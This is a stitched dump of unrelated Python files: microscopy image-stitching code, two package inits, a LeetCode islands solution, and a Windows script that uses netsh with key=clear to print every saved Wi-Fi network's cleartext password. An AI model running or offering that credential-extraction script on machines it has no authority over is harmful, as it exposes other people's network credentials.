of the tile references tiles = inout.get_image_names(tile_file, image_list = image_list, hyb_nr = hyb_nr, gene = gene, pre_proc_level = pre_proc_level) # Load the data from the metadata file ExperimentInfos, ImageProperties, HybridizationsInfos, \ Converted_Positions, MicroscopeParameters = \ utils.experimental_metadata_parser(folder) # Read the number of pixels and z-count from the yaml # file. try: nr_pixels = ImageProperties['HybImageSize']['rows'] except KeyError as err: logger.info(("Number of pixels not found in experimental " + "metadata file.\nPlease add " + "the number of pixels in an image " + "to the experimental " + "metadata file under ImageProperties " + "--> HybImageSize --> rows.\n" + "KeyError: {}").format(err)) raise if nr_dim == 2: z_count = 1 else: try: z_count = ImageProperties['HybImageSize']['zcount'] except KeyError as err: logger.info( ("Number of pixels not found in experimental " + "metadata file.\nPlease add " + "the number of slices in the z-stack " + "to the experimental " + "metadata file under ImageProperties " + "--> HybImageSize --> zcount.\n" + "KeyError: {}") .format(err)) raise logger.info("Size tiles: {} Number of pixels: {} z count: {}" .format(len( tiles), nr_pixels, z_count)) # Check pairwise overlap in signal if check_pairwise: contig_tuples = stitching_coord_dict['contig_tuples'] logger.info( "Length contingency tuples: {} Contingency tuples: {}" .format(len(contig_tuples), contig_tuples)) return (joining, tiles, nr_pixels, z_count, micData, contig_tuples) else: return (joining, tiles, nr_pixels, z_count, micData) ############################# Refine ################################### def get_refine_pairwise_input(folder, tile_file, hyb_nr, data_name, gene = 'Nuclei', pre_proc_level = 'Filtered', nr_dim = 2): """Get the data needed to refine stitching with another gene Parameters: ----------- folder: str String representing the path of the folder containing the tile file, the stitching data file the yaml metadata file. Needs a trailing slash ('/'). tile_file: pointer HDF5 file handle. Reference to the opened file containing the tiles. hyb_nr: int The number of the hybridization we are going to stitch. This will be used to navigate tile_file and find the correct tiles. data_name: str Name of the file containing the pickled stitching data. gene: str The name of the gene we are going to stitch. This will be used to navigate tile_file and find the correct tiles. (Default: 'Nuclei') pre_proc_level: str The name of the pre processing group of the tiles we are going to stitch. This will be used to navigate tile_file and find the correct tiles. (Default: 'Filtered') nr_dim: int If 3, the code will assume three dimensional data for the tile, where z is the first dimension and y and x the second and third. For any other value 2-dimensional data is assumed. (Default: 2) Returns: -------- tiles: list List of references to the the tiles in the hdf5 file tile_file. contig_tuples: list List of tuples. Each tuple is a tile pair. Tuples contain two tile indexes denoting these tiles are contingent to each other. nr_pixels: int Height and length of the tile in pixels, tile is assumed to be square. z_count: int The number of layers in one tile (size of the z-axis). Is 1 when nr_dim is not 3. micData: object MicroscopeData object. Contains coordinates of the tile corners as taken from the microscope. """ logger.info("Aplying stitching from file") # Load image list and old joining data stitching_coord_dict = inout.load_stitching_coord(folder + data_name) # noinspection PyPep8Naming micData = stitching_coord_dict['micData'] logger.info("Joining object and image list loaded from file") flat_tile_set = micData.tile_set.flat[:] image_list = [micData.tile_nr[ind] if ind >= 0 else -1 for ind in flat_tile_set] image_list = np.ma.masked_equal(image_list, -1) logger.info("Tile set size: {}".format(micData.tile_set.shape)) logger.info("Loading images: {}".format(image_list)) # Make a list of the image names tiles = inout.get_image_names(tile_file, image_list = image_list, hyb_nr = hyb_nr, gene = gene, pre_proc_level = pre_proc_level) contig_tuples = stitching_coord_dict['contig_tuples'] alignment_old = stitching_coord_dict['alignment']['P'] # Load the data from the metadata file ExperimentInfos, ImageProperties, HybridizationsInfos, \ Converted_Positions, MicroscopeParameters = \ utils.experimental_metadata_parser(folder) # Read the number of pixels and z-count from the yaml # file. try: nr_pixels = ImageProperties['HybImageSize']['rows'] except KeyError as err: logger.info(("Number of pixels not found in experimental " + "metadata file.\nPlease add " + "the number of pixels in an image " + "to the experimental " + "metadata file under ImageProperties " + "--> HybImageSize --> rows.\n" + "KeyError: {}").format(err)) raise if nr_dim == 2: z_count = 1 else: try: z_count = ImageProperties['HybImageSize']['zcount'] except KeyError as err: logger.info( ("Number of pixels not found in experimental " + "metadata file.\nPlease add " + "the number of slices in the z-stack " + "to the experimental " + "metadata file under ImageProperties " + "--> HybImageSize --> zcount.\n" + "KeyError: {}") .format(err)) raise # Recalculate C C = sklim.grid_to_graph(*micData.tile_set.shape).todense() np.fill_diagonal(C,0) C = np.triu( C ) return (tiles, contig_tuples, nr_pixels, z_count, micData, C, alignment_old) def refine_pairwise_alignments(tiles, tile_file, contig_tuples, alignment_old, micData = None, nr_peaks = 8, nr_dim = 2): """Calculate the pairwise transition Calculates pairwise transition for each neighbouring pair of tiles. Parameters: ----------- tiles: np.array Array of tiles, a tile should be a 2d np.array representing a picture contig_tuples: list List of tuples denoting which tiles are contingent to each other. micData: object MicroscopeData object containing coordinates (default None) nr_peaks: int nr of peaks to be extracted from the PCM (default 8) nr_dim: int If 3, the code will assume three dimensional data for the tile, where z is the first dimension and y and x the second and third. For any other value 2-dimensional data is assumed. (default: 2) Returns: -------- : dict Contains key 'P' with a 1D numpy array containing pairwise alignment y and x coordinates (and z-coordinates when applicable) for each neighbouring pair of tiles, array will be 2 * len(contig_typles) for 2D data or 3 * len(contig_typles) for 3D data. Also contains key 'covs' with a 1D numpy array containing covariance for each pairwise alignment in 'P', 'covs' will be len(contig_typles). """ # Make a new P and cov list for the refine pairwise alignments P_ref = np.empty((len(contig_tuples), nr_dim), dtype = int) covs_ref = np.empty(len(contig_tuples)) for i in range(len(contig_tuples)): P_single, cov, contig_index = ps.refine_single_pair(tiles, tile_file, contig_tuples, i, micData, alignment_old['P'], nr_peaks, nr_dim = nr_dim) P_ref[contig_index,:] = P_single covs_ref[contig_index] = cov logger.info("Raw P: {}".format(P_ref)) # Flatten P P_ref = np.array(P_ref).flat[:] logger.info("flat P: {}".format(P_ref)) return {'P': P_ref, 'covs': covs_ref} ######################### General functions ############################ def get_place_tile_input(folder, tiles, contig_tuples, micData, nr_pixels, z_count, alignment, data_name, nr_dim = 2, save_alignment = True): """Do the global alignment and get the shifted corner coordinates. Calculates a shift in global coordinates for each tile (global alignment) and then applies these shifts to the corner coordinates of each tile and returns and saves these shifted corner coordinates. This function produces a file with stitching data in folder called data_name, this file includes the corner coordinates which can be used to apply the stitching to another gene. Parameters: ----------- folder: str String representing the path of the folder containing the tile file and the yaml metadata file. Needs a trailing slash ('/'). tiles: list List of strings. List of references to the the tiles in the hdf5 file tile_file. contig_tuples: list List of tuples. Each tuple is a tile pair. Tuples contain two tile indexes denoting these tiles are contingent to each other. micData: object MicroscopeData object. Contains coordinates of the tile corners as taken from the microscope. nr_pixels: int Height and length of the tile in pixels, tile is assumed to be square. z_count: int The number of layers in one tile (size of the z-axis). Is 1 when nr_dim is not 3. alignment: dict Contains key 'P' with a 1D numpy array containing pairwise alignment y and x coordinates (and z-coordinates when applicable) for each neighbouring pair of tiles, array will be 2 * len(contig_typles) for 2D data or 3 * len(contig_typles) for 3D data. Also contains key 'covs' with a 1D numpy array containing covariance for each pairwise alignment in 'P', 'covs' will be len(contig_typles). data_name: str Name of the file containing the pickled stitching data. nr_dim: int If 3, the code will assume three dimensional data for the tile, where z is the first dimension and y and x the second and third. For any other value 2-dimensional data is assumed. (default: 2) save_alignment: bool When False only the stitching coordinates and microscope data will be saved. When True also the contigency tuples and pairwise alignment will be saved (this is necessary if we want to refine the stitching later). (Default: True) Returns: -------- joining: dict Contains keys corner_list and final_image_shape. Corner_list is a list of list, each list is a pair of a tile index (int) and it's tile's shifted coordinates in the final image (numpy array containing floats). Final_image_shape is a tuple of size 2 or 3 depending on the numer of dimensions and contains ints. """ # Perform global optimization logger.debug("Initializing global optimization") optimization = GlobalOptimization() logger.debug("Starting optimization, micData") optimization.performOptimization(micData.tile_set, contig_tuples, alignment['P'], alignment['covs'], len(tiles), nr_dim) # Stitch everything back together # Determine global corners joining = tilejoining.calc_corners_coord(tiles, optimization.global_trans, micData, nr_pixels, z_count) # Save the data to do the stitching in "data_name": if joining: if save_alignment: inout.save_to_file(folder + data_name, joining = joining, contig_tuples = contig_tuples, alignment = alignment, micData = micData) else: inout.save_to_file(folder + data_name, micData = micData, joining = joining) else: logger.warning("No results found to save: joining is empty") return joining def assess_performance(micData, alignment, joining, cov_signal, xcov_list, folder, use_IJ_corners = False): """Assess the performance of the stitching This functions writes its the result to a file in "folder". Parameters: ----------- micData: object MicroscopeData object. Contains coordinates of the tile corners as taken from the microscope and contains the tile set. alignment: dict Contains key 'P' with a 1D numpy array containing pairwise alignment y and x coordinates (and z-coordinates when applicable) for each neighbouring pair of tiles, array will be 2 * len(contig_typles) for 2D data or 3 * len(contig_typles) for 3D data. Also contains key 'covs' with a 1D numpy array containing covariance for each pairwise alignment in 'P', 'covs' will be len(contig_typles). joining: dict Contains keys corner_list and final_image_shape. Corner_list is a list of list, each list is a pair of a tile index (int) and it's tile's shifted coordinates in the final image (numpy array containing floats). Final_image_shape is a tuple of size 2 or 3 depending on the numer of dimensions and contains ints. cov_signal: np.array The covariance of each neighbouring tile pair in the part of the tiles that overlap in the final stitched signal image. xcov_list: list List of cross covariance of the overlap of the tiles in the final stitched image. As returned by tilejoining.assess_overlap. folder: str String representing a path. The folder where the performance report should be saved. Needs a trailing slash ('/'). use_IJ_corners: bool If True compare our corners to Image J found in a file in folder, the file name should contain: TileConfiguration. """ ################################Gather data######################### report_string = "" if use_IJ_corners: compare_corners = inout.read_IJ_corners(folder) # Make a list of image numbers, matching with the numbers in the # image files flat_tile_set = micData.tile_set.flat[:] image_list = [micData.tile_nr[ind] if ind >= 0 else -1 for ind in flat_tile_set] image_list = np.ma.masked_equal(image_list, -1) # Compare our corners to the corner the ImageJ plugin found # Select the tiles we actually used: compare_corners_new = [[item[0], np.array([item[1][1], item[1][0]])] for item in compare_corners if item[0] in image_list] # Replace the indexes with numbering of the images: logger.debug('My corners {}'.format(joining['corner_list'])) my_corners_new = [[image_list[i], item[1]] for i, item in enumerate(joining['corner_list'])] logger.debug('My corners new {}'.format(my_corners_new)) logger.debug('Compare corners new {}'.format(compare_corners_new)) # Normalize, to make the first one the origin and compare compare_origin = compare_corners_new[0][1] my_origin = my_corners_new[0][1] logger.debug("origins: {}, {}".format(compare_origin, my_origin)) cum_diff = np.zeros((1,2)) for i in range(len(my_corners_new)): my_cur = (my_corners_new[i][1] - my_origin) compare_cur = (compare_corners_new[i][1] - compare_origin) diff = abs(my_cur - compare_cur) cum_diff += diff report_string += ("My tile: {}, {}, compare tile: {}, {}; difference: {}\n" .format(my_corners_new[i][0], my_cur, compare_corners_new[i][0], compare_cur, diff)) report_string += "\nAverage: {}\n".format(cum_diff / len(my_corners_new)) # Calculate average cross covariances of the overlaps in the final image: if xcov_list is not None: av_xcov = np.mean(xcov_list) else: logger.info('No cross covariance data available') av_xcov = None report_string += "\nAverage cross covariance of final overlap: {}\n".format(av_xcov) report_string += "Cross covariance list of final overlap: {}\n".format(xcov_list) #logger.debug(report_string) ###################### Save the performance data ################### perf_path = folder + 'performance/' # To print the logging to a file try: os.stat(perf_path) except: os.mkdir(perf_path) os.chmod(perf_path,0o777) dateTag = time.strftime("%y%m%d_%H_%M_%S") with open(perf_path + dateTag + '-performance' + '.txt', 'w') as f: f.write(report_string) if micData is not None: # If available print the alignment results: f.write(("\nTile set: \n{} \n" "Tile numbers: {}\n") .format(micData.tile_set, micData.tile_nr)) if alignment is not None: # If available print the alignment results: f.write(("Pairwise Alignment: {}\n" "Covariances: {}\n" "Average covariance: {}\n") .format(alignment['P'], alignment['covs'], np.nanmean(alignment['covs']))) if joining is not None: f.write(("Corners after alignment: \n{}\n") .format(joining['corner_list'])) if cov_signal is not None: f.write(("\nAverage pairwise covariance of the signal: {}\n" "Pairwise covariance of the signal:\n{}\n") .format(np.nanmean(cov_signal), cov_signal)) f.close() ############################# Visualization ############################ def save_as_tiff(data_file, hyb_nr, gene, location_image, pre_proc_level = 'StitchedImage', mode = 'both'): """Save the results as a tiff image for visual inspection. Parameters: ----------- data_file: pointer HDF5 file handle. HDF5 file containing the final image. gene: str The name of the gene we stitched. This will be used to navigate data_file and find the correct final picture. hyb_nr: int The number of the hybridization we have stitched.This will be used to navigate data_file and find the correct final picture. location_image: str Full path to the file where the tiff file will be saved (extension not necessary). pre_proc_level: str The name of the pre processing group of the tiles we are going to stitch. Normally this will be 'StitchedImage', but when the final image is found in another datagroup it may be changed. This will be used to navigate data_file and find the correct final image. (Default: 'StitchedImage') mode: str Mode determines what color, quality and how many images are saved. Possible values for mode: save_ubyte, save_float, save_rgb. If another or no value is given the image is saved as is and a as a low quality copy (pixel depth 8 bits) (Default: 'both') """ # Save the results: if mode == 'save_ubyte': inout.save_image(data_file, hyb_nr, gene, pre_proc_level, 'final_image_ubyte', location_image + '_byte') elif mode == 'save_float': inout.save_image(data_file, hyb_nr, gene, pre_proc_level, 'final_image', location_image) elif mode == 'save_rgb': inout.save_image(data_file, hyb_nr, gene, pre_proc_level, 'final_image_rgb', location_image + '_rgb') else: inout.save_image(data_file, hyb_nr, gene, pre_proc_level, 'final_image_ubyte', location_image + '_byte') inout.save_image(data_file, hyb_nr, gene, pre_proc_level, 'final_image', location_image) def plot_final_image(im_file_name, joining, hyb_nr = 1, gene = 'Nuclei', fig_name = "final image", shrink_image = False, block = True): """Displays the high quality final image in a plot window. Takes a lot of working memory for full sized images. When plt_available is false this function does nothing and returns None. Parameters: ----------- im_file_name: str Filename of the hdf5 file, containing the final image. fig_name: str Name of the plotting window (default: "final image"). shrink_image: bool Turn on shrink_image to reduce display quality and memory usage. (Default: False) block: bool Plot blocks the running program untill the plotting window is closed if true. Turn off block to make the code continue untill the next call of plt.show(block=True) before displaying the image. (default: True) """ if plt_available: if isinstance(im_file_name, str): # Load the image from file im_file = h5py.File(im_file_name + '_Hybridization' + str(hyb_nr) + '.sf.hdf5', 'r') for_display = im_file['final_image'] else: # Load the image from file for_display = im_file_name[gene] \ ['StitchedImage']['final_image'] # Shrink the image if necessary if shrink_image: display_size = np.array(joining['final_image_shape'], dtype = int)/10 logger.debug("display size pixels: {}".format(display_size)) for_display = smtf.resize(for_display, tuple(display_size)) # Plot the image if for_display.ndim == 3: inout.plot_3D(for_display) else: plt.figure(fig_name) plt.imshow(for_display, 'gray', interpolation = 'none') plt.show(block = False) # Load the image from file if isinstance(im_file_name, str): # Load the image from file im_file = h5py.File(im_file_name + '.hdf5', 'r') for_display = im_file['temp_mask'] else: for_display = im_file_name['Hybridization' + str(hyb_nr)][gene] \ ['StitchedImage']['temp_mask'] # Shrink the image if necessary if shrink_image: display_size = np.array(joining.final_image_shape, dtype=int) / 10 logger.debug("display size pixels: {}".format(display_size)) for_display = smtf.resize(for_display, tuple(display_size)) # Plot the image plt.figure(fig_name + ' mask') plt.imshow(for_display, 'gray', interpolation='none') plt.show(block = block) else: return None def get_pairwise_input_npy(image_properties,converted_positions, hybridization, est_overlap, y_flip = False, nr_dim = 2): """Get the information necessary to do the pairwise allignment Modified version of the get_pairwise_input functions that work on .npy files and not on hdf5 Find the pairwise pairs for an unknown stitching. Parameters: ----------- image_properties: dict Dictionary with the image details parsed from the Experimental_metadata.yaml file converted_positions: dict Dictionary with the coords of the images for all hybridization The coords are a list of floats hybridization: str Hybridization that will be processed (Ex. Hybridization2) est_overlap: float The fraction of two neighbours that should overlap, this is used to estimate the shape of the tile set and then overwritten by the actual average overlap according to the microscope coordinates. (default: 0.1) y_flip: bool The y_flip variable is designed for the cases where the microscope sequence is inverted in the y-direction. When set to True the y-coordinates will also be inverted before determining the tile set. (Default: False) nr_dim: int If 3, the code will assume three dimensional data for the tile, where z is the first dimension and y and x the second and third. For any other value 2-dimensional data is assumed. (Default: 2) Returns: -------- tiles: np.array Array of int with the tiles number. -1 indicate an empty tile contig_tuples: list List of tuples. Each tuple is a tile pair. Tuples contain two tile indexes denoting these tiles are contingent to each other. nr_pixels: int Height and length of the tile in pixels, tile is assumed to be square. z_count: int The number of layers in one tile (size of the z-axis). Is 1 when nr_dim is not 3. micData: object MicroscopeData object. Contains coordinates of the tile corners as taken from the microscope. """ # Get coordinate data for this hybridization coord_data = converted_positions[hybridization] # Read the number of pixels, z-count and pixel size from the yaml # file. try: nr_pixels = image_properties['HybImageSize']['rows'] except KeyError as err: logger.info(("Number of pixels not found in experimental " + "metadata file.\nPlease add " + "the number of pixels in an image " + "to the experimental " + "metadata file under ImageProperties " + "--> HybImageSize --> rows.\n" + "KeyError: {}").format(err)) raise if nr_dim == 2: z_count = 1 else: try: z_count = image_properties['HybImageSize']['zcount'] except KeyError as err: logger.info(("Number of pixels not found in experimental " + "metadata file.\nPlease add " + "the number of slices in the z-stack " + "to the experimental " + "metadata file under ImageProperties " + "--> HybImageSize --> zcount.\n" + "KeyError: {}") .format(err)) raise try: pixel_size = image_properties['PixelSize'] except KeyError as err: logger.info(("ImageProperties['PixelSize'] not found in " + "experimental metadata file.\nPlease add the " + "size of a pixel in um in the experimental " + "metadata file under ImageProperties " + "--> PixelSize.\nKeyError: {}").format(err)) raise # Estimate the overlap in pixels with the overlap that the user # provided, default is 10% est_x_tol = nr_pixels * (1 - est_overlap) logger.info("Estimating overlap at {}%, that is {} pixels" .format(est_overlap * 100, est_x_tol)) logger.debug("Number of pixels: {}".format(nr_pixels)) logger.debug("Number of slices in z-stack: {}".format(z_count)) # Organize the microscope data and determine tile set micData = MicroscopeData(coord_data, y_flip, nr_dim) micData.normalize_coords(pixel_size) micData.make_tile_set(est_x_tol, nr_pixels = nr_pixels) # Make a list of image numbers, matching with the numbers in the # image files flat_tile_set = micData.tile_set.flat[:] image_list = [micData.tile_nr[ind] if ind >= 0 else -1 for ind in flat_tile_set] image_list = np.ma.masked_equal(image_list, -1) logger.info("Getting references for: {}".format(image_list)) # Make a list of the image names (-1 is a missing tile) tiles = image_list.data # Produce an undirected graph of the tiles, tiles that are # neighbours to each other are connected in this graph. # noinspection PyPep8Naming C = np.asarray(sklim.grid_to_graph(*micData.tile_set.shape).todense()) np.fill_diagonal(C, 0) # noinspection PyPep8Naming C = np.triu( C ) # Extract the neighbour pairs from the graph contig_tuples =list(zip( *np.where( C ) )) logger.info(("Length contingency tuples: {} \n" + "Contingency tuples: {}") .format(len(contig_tuples), contig_tuples)) return(tiles, contig_tuples, nr_pixels, z_count, micData) def get_place_tile_input_apply_npy(hyb_dir,stitched_reference_files_dir,data_name,image_properties,nr_dim=2): """ Modified version of the get_place_tile_input_apply Get the data needed to apply stitching to another gene Parameters: ----------- hyb_dir: str String representing the path of the folder containing the tile file, the stitching data file the yaml metadata file. stitched_reference_files_dir: str String representing the path of the folder containing the registered data. data_name: str Name of the file containing the pickled stitching data. image_properties: dict Dictionary with the image details parsed from the Experimental_metadata.yaml file nr_dim: int If 3, the code will assume three dimensional data for the tile, where z is the first dimension and y and x the second and third. For any other value 2-dimensional data is assumed. (Default: 2) Returns: -------- joining: dict Taken from the stitching data file. Contains keys corner_list and final_image_shape. Corner_list is a list of list, each list is a pair of an image number (int) and it's coordinates (numpy array containing floats). Final_image_shape is a tuple of size 2 or 3 depending on the numer of dimensions and contains ints. tiles: list List of strings. List of references to the the tiles in the hdf5 file tile_file. nr_pixels: int Height and length of the tile in pixels, tile is assumed to be square. z_count: int The number of layers in one tile (size of the z-axis). Is 1 when nr_dim is not 3. micData: object MicroscopeData object. Taken from the pickled stitching data. Contains coordinates of the tile corners as taken from the microscope. """ logger.info("Getting data to apply stitching from file...") # Load image list and old joining data stitching_coord_dict = inout.load_stitching_coord(stitched_reference_files_dir + data_name) # noinspection PyPep8Naming micData = stitching_coord_dict['micData'] joining = stitching_coord_dict['joining'] logger.info("Joining object and image list loaded from file") # Make a list of image numbers flat_tile_set = micData.tile_set.flat[:] image_list = [micData.tile_nr[ind] if ind >= 0 else -1 for ind in flat_tile_set] image_list = np.ma.masked_equal(image_list, -1) logger.info("Tile set size: {}".format(micData.tile_set.shape)) logger.info("Placing folowing image references in tiles: {}" .format(image_list)) # Make a list of the image names (-1 is a missing tile) tiles = image_list.data # Read the number of pixels and z-count from the yaml # file. try: nr_pixels = image_properties['HybImageSize']['rows'] except KeyError as err: logger.info(("Number of pixels not found in experimental " + "metadata file.\nPlease add " + "the number of pixels in an image " + "to the experimental " + "metadata file under ImageProperties " + "--> HybImageSize --> rows.\n" + "KeyError: {}").format(err)) raise if nr_dim == 2: z_count = 1 else: try: z_count = image_properties['HybImageSize']['zcount'] except KeyError as err: logger.info( ("Number of pixels not found in experimental " + "metadata file.\nPlease add " + "the number of slices in the z-stack " + "to the experimental " + "metadata file under ImageProperties " + "--> HybImageSize --> zcount.\n" + "KeyError: {}") .format(err)) raise logger.info("Size tiles: {} Number of pixels: {} z count: {}" .format(len( tiles), nr_pixels, z_count)) return (joining, tiles, nr_pixels, z_count, micData)

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0

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8e3dc13790b6ecb78f8cb8ae5b5dab37555d4c18

52

py

Python

nipy/externals/__init__.py

yarikoptic/NiPy-OLD

8759b598ac72d3b9df7414642c7a662ad9c55ece

[ "BSD-3-Clause" ]

1

2015-08-22T16:14:45.000Z

nipy/externals/__init__.py

yarikoptic/NiPy-OLD

8759b598ac72d3b9df7414642c7a662ad9c55ece

[ "BSD-3-Clause" ]

null

nipy/externals/__init__.py

yarikoptic/NiPy-OLD

8759b598ac72d3b9df7414642c7a662ad9c55ece

[ "BSD-3-Clause" ]

null

# init for externals package from . import argparse

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5

f3f76ea7dcdcc266d9e1570f7c62dd6bd1aaa371

6,104

py

Python

leetcode/200.number_of_islands/200.NumberofIslands_yhwhu.py

henrytien/AlgorithmSolutions

62339269f4fa698ddd2e73458caef875af05af8f

[ "MIT" ]

15

2020-06-27T03:28:39.000Z

2021-08-13T10:42:24.000Z

leetcode/200.number_of_islands/200.NumberofIslands_yhwhu.py

henrytien/AlgorithmSolutions

62339269f4fa698ddd2e73458caef875af05af8f

[ "MIT" ]

40

2020-06-27T03:29:53.000Z

2020-11-05T12:29:49.000Z

leetcode/200.number_of_islands/200.NumberofIslands_yhwhu.py

henrytien/AlgorithmSolutions

62339269f4fa698ddd2e73458caef875af05af8f

[ "MIT" ]

22

2020-07-16T03:23:43.000Z

2022-02-19T16:00:55.000Z

# Source : https://leetcode.com/problems/number-of-islands/ # Author : yhwhu # Date : 2020-07-29 ##################################################################################################### # # Given a 2d grid map of '1's (land) and '0's (water), count the number of islands. An island is # surrounded by water and is formed by connecting adjacent lands horizontally or vertically. You may # assume all four edges of the grid are all surrounded by water. # # Example 1: # # Input: grid = [ # ["1","1","1","1","0"], # ["1","1","0","1","0"], # ["1","1","0","0","0"], # ["0","0","0","0","0"] # ] # Output: 1 # # Example 2: # # Input: grid = [ # ["1","1","0","0","0"], # ["1","1","0","0","0"], # ["0","0","1","0","0"], # ["0","0","0","1","1"] # ] # Output: 3 ##################################################################################################### from typing import List class UF: def __init__(self, n): self.parent = {} self.size = [0] * n self.cnt = n for i in range(n): self.parent[i] = i self.size[i] = 1 def find(self, x): while x != self.parent[x]: self.parent[x] = self.parent[self.parent[x]] x = self.parent[x] return x def union(self, x, y): father_x = self.find(x) father_y = self.find(y) if father_x == father_y: return if self.size[father_y] > self.size[father_x]: self.parent[father_x] = father_y self.size[father_y] += self.size[father_x] else: self.parent[father_y] = father_x self.size[father_x] += self.size[father_y] self.cnt -= 1 class Solution: def numIslands_uf(self, grid: List[List[str]]) -> int: m = len(grid) n = len(grid[0]) def get_index(x, y): return x * n + y uf = UF(m * n + 1) positions = [(0, 1), (1, 0)] for i in range(m): for j in range(n): if grid[i][j] == "0": uf.union(get_index(i, j), m * n) elif grid[i][j] == "1": for ii, jj in positions: new_i = i + ii new_j = j + jj if 0 <= new_i < m and 0 <= new_j < n and grid[new_i][new_j] == "1": uf.union(get_index(i, j), get_index(new_i, new_j)) return uf.cnt - 1 def numIslands_dfs(self, grid: List[List[str]]) -> int: m = len(grid) n = len(grid[0]) count = 0 visited = [[0 for _ in range(n)] for _ in range(m)] positions = [(0, -1), (1, 0), (0, 1), (-1, 0)] for i in range(m): for j in range(n): if grid[i][j] == "1" and not visited[i][j]: count += 1 self._dfs(i, j, grid, m, n, visited, positions) return count def _dfs(self, i, j, grid, m, n, visited, positions): visited[i][j] = 1 for ii, jj in positions: new_i = i + ii new_j = j + jj if 0 <= new_i < m and 0 <= new_j < n and grid[new_i][new_j] == "1" and not visited[new_i][new_j]: self._dfs(new_i, new_j, grid, m, n, visited, positions) def numIslands_bfs(self, grid: List[List[str]]) -> int: if not grid: return 0 m = len(grid) n = len(grid[0]) count = 0 visited = [[0 for _ in range(n)] for _ in range(m)] positions = [(0, -1), (1, 0), (0, 1), (-1, 0)] for i in range(m): for j in range(n): queue = [(i, j)] if grid[i][j] == "1" and not visited[i][j]: visited[i][j] = 1 count += 1 while queue: cur_i, cur_j = queue.pop(0) for ii, jj in positions: new_i = cur_i + ii new_j = cur_j + jj if 0 <= new_i < m and 0 <= new_j < n and grid[new_i][new_j] == "1" and not visited[new_i][ new_j]: queue.append((new_i, new_j)) visited[new_i][new_j] = 1 return count if __name__ == '__main__': grid = [["1","1","1","1","1","0","1","1","1","1","1","1","1","1","1","0","1","0","1","1"],["0","1","1","1","1","1","1","1","1","1","1","1","1","0","1","1","1","1","1","0"],["1","0","1","1","1","0","0","1","1","0","1","1","1","1","1","1","1","1","1","1"],["1","1","1","1","0","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"],["1","0","0","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"],["1","0","1","1","1","1","1","1","0","1","1","1","0","1","1","1","0","1","1","1"],["0","1","1","1","1","1","1","1","1","1","1","1","0","1","1","0","1","1","1","1"],["1","1","1","1","1","1","1","1","1","1","1","1","0","1","1","1","1","0","1","1"],["1","1","1","1","1","1","1","1","1","1","0","1","1","1","1","1","1","1","1","1"],["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"],["0","1","1","1","1","1","1","1","0","1","1","1","1","1","1","1","1","1","1","1"],["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"],["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"],["1","1","1","1","1","0","1","1","1","1","1","1","1","0","1","1","1","1","1","1"],["1","0","1","1","1","1","1","0","1","1","1","0","1","1","1","1","0","1","1","1"],["1","1","1","1","1","1","1","1","1","1","1","1","0","1","1","1","1","1","1","0"],["1","1","1","1","1","1","1","1","1","1","1","1","1","0","1","1","1","1","0","0"],["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"],["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"],["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"]] solution = Solution() result = solution.numIslands_uf(grid) print(result)

43.913669

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6,104

2.196078

0.10098

0.30625

0.401786

0.482143

0.586607

0.546429

0.496429

0.459821

0.425893

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0

0.11437

0.273755

6,104

138

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1

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1

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null

0

5

6d038419707958a2fa00724fc654a8686b2ab7a9

104

py

Python

dpipe/dataset/__init__.py

samokhinv/deep_pipe

9461b02f5f32c3e9f24490619ebccf417979cffc

[ "MIT" ]

38

2017-09-08T04:51:17.000Z

2022-03-29T17:34:22.000Z

dpipe/dataset/__init__.py

samokhinv/deep_pipe

9461b02f5f32c3e9f24490619ebccf417979cffc

[ "MIT" ]

41

2017-09-29T22:06:21.000Z

2021-12-03T09:31:57.000Z

dpipe/dataset/__init__.py

samokhinv/deep_pipe

9461b02f5f32c3e9f24490619ebccf417979cffc

[ "MIT" ]

12

2017-09-08T04:40:39.000Z

2021-01-19T19:19:37.000Z

""" Datasets are used for data and metadata loading. """ from .base import Dataset from .csv import CSV

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null

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1

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1

0

1

0

5

edb20a4ffd43e59eea413125e997615b1fde62fd

2,045

py

Python

app.py

ZAD4YTV/extract-wifi-passwords-from-windows

89c8bec9861876e82fb5262540f53434b3f5fe1f

[ "MIT" ]

2

2020-12-22T06:05:06.000Z

2020-12-22T06:05:09.000Z

app.py

ZAD4YTV/extract-wifi-passwords-from-windows

89c8bec9861876e82fb5262540f53434b3f5fe1f

[ "MIT" ]

null

app.py

ZAD4YTV/extract-wifi-passwords-from-windows

89c8bec9861876e82fb5262540f53434b3f5fe1f

[ "MIT" ]

null

# Requirements import subprocess # Console print initial print('######################################################################') print('') print('######## ## ## ######## ### ######## ## ## ##') print('## ## ## ## ## ## ## ## ## ## ## ## ##') print('## ## #### ## ## ## ## ## ## ## ####') print('######## ## ## ## ## ## ## ## ## ##') print('## ## ## ## ######### ## ## ######### ##') print('## ## ## ## ## ## ## ## ## ##') print('######## ## ######## ## ## ######## ## ##') print('') print('######################################################################') print('') # Initial data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n') wifis = [line.split(':0')[1][1:-1] for line in data if "All User Profile" in line] print('> Process operating...') print('> Getting Password.') print('') print('Results:') print('Wi-Fi connection:') for wifi in wifis: results = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles', wifi, 'key=clear']).decode('utf-8').split('\n') results = [line.split(':')[1][1:-1] for line in results if "Key Content" in line] try: print(f'Name:{wifi}, Password: {results[0]}') except IndexError: print(f'Name:{wifi}, Password: Cannot be read, try again') print('') print('######################################################################') print('') print('Close this window to exit.') print('') # Metadate print('Repository: https://github.com/ZAD4YTV/excract-wifi-passwords-from-windows/') print('BY ZAD4Y') print('') print('Title: Extract Wi-Fi passwords from windows.') print('Description: Extractor of Wi-Fi passwords from windows. I am not responsible for any illegal activities that you perform with the content of this repository') print('License: MIT License') print('More information in the repository.')

41.734694

166

0.446944

187

2,045

4.877005

0.465241

0.175439

0.197368

0.219298

0.320175

0.184211

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0

0.007509

0.218582

2,045

48

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0

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0

0.025641

0.647059

0.105581

0

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false

0.153846

0.025641

0

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0

null

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1

0

1

0

null

0

1

0

1

0

5

edbecb45eddc848fe9a6250e6a9425c696aee623

32

py

Python

vgc/DinosaursVsAirplanes/__main__.py

